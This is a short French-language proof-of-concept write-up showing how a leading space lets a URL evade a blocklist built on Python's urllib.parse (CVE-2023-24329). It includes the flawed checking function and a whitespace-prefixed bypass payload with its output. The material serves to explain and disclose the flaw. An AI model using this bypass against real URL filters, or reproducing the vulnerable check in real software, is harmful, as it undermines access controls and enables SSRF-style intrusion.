
Preuve de concept démontrant un contournement de l'analyse d'URL dans urllib.parse de Python (CVE-2023-24329) qui permet de contourner les listes noires en ajoutant des espaces au début.
Les fonctions d'analyse d'URL se concentrent sur la division d'une chaîne d'URL en ses composants, ou sur la combinaison de composants d'URL en une chaîne d'URL.
Simplement urllib.parse utilisé pour analyser les URLs, nous pouvons le contourner en ajoutant des espaces avant l'URL. Cela se produit dans python 3.11.4 et avant.
Décomposons example.py
Voici un ensemble de sites web auxquels vous ne devez pas accéder :
blocked_list = [
"http://example.com/",
"http://example2.com/"
]
Cette fonction vérifie si le site web est sur la liste bloquée ou non, s'il est sur la liste bloquée, elle doit retourner URL Blocked
def is_url_blocked(url):
parse = urllib.parse.urlparse(url).geturl()
if parse in blocked_list: return 'URL Blocked'
else: return 'Bypassed'
Maintenant, j'ai ajouté deux URLs et je vérifie si l'une d'elles est bloquée et ne peut pas être accessible :
payload1 = " http://example.com/"
payload2 = "http://example.com/"
print(
is_url_blocked(payload1),
"\n",
is_url_blocked(payload2)
)
payload1 est là où j'ai contourné is_url_blocked() car ajouter un long espace avant l'URL contournera urllib.parse.urlparse(url).geturl() qui ne s'exécutera pas comme prévu.
C'est pourquoi la sortie est
Bypassed
Mais sur payload2 nous obtenons
URL Blocked
Si vous souhaitez me soutenir par un don, je vous recommande de le donner à quelqu'un qui en a vraiment besoin, s'il vous plaît. Si vous le faites, considérez que j'ai gagné votre soutien.